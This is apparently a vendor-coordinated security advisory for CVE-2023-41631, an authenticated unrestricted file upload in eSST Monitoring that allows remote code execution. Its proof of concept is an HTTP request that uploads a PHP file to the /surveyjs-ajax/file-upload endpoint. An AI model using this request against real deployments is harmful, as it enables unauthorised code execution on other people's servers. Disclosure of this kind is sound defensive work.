



## **Security advisory**

### **Unrestricted file upload leading to Remote Code Execution**

October, 2023

**CVE-2023-41631**

**Release date:** 07/09/2023

**Department:** POST Cyberforce

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## Vulnerability summary

Product	eSST Monitoring
Product homepage	<a href="https://esst.lu">https://esst.lu</a>
Affected product versions	2.147.1 and below
Severity	Critical - CVSS v3.1 score: 9.1
CVSS v3.1	AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE	CWE-434
Workarounds	In progress

## Validated impact:

Unrestricted file upload leading to Remote Code Execution.

## Timeline

Date	Action
27 07 2023	Vulnerability identification, exploitation and impact validation
27 07 2023	Vendor notified and acknowledged the vulnerability
31 08 2023	CVE-2023-41631 assigned by MITRE
07 09 2023	Vendor informed about assigned CVE id

## References:

- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41631>
- <https://cwe.mitre.org/data/definitions/434.html>
- [https://owasp.org/www-community/vulnerabilities/Unrestricted\\_File\\_Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)

## Product description

eSST monitoring can be used to train, prevent, advise or support employers, resource persons or designated workers.

## Advisory

A file upload feature available from an authenticated perspective is prone to unrestricted file upload.

## Vulnerability description

Lack of user input sanitization on a file upload feature lead to unrestricted file upload and thus, remote code execution.

### Vulnerable endpoints:

The files array parameter on /surveyjs-ajax/file-upload endpoint is concerned by this vulnerability.

## Proof of concept

```
POST /surveyjs-ajax/file-upload HTTP/1.1
```

```
Content-Type: multipart/form-data;
```

```
...
```

```
Content-Disposition: form-data; name="files[]"; filename="test.php"
```

```
<?php phpinfo(); ?>
```

```
HTTP/1.1 200 OK
```

```
{[\{"file":\{"name": "XX\_randomstr\_test.php"\}\}\]}
```

## Recommendation

Contact eSST to receive the patched version of the software.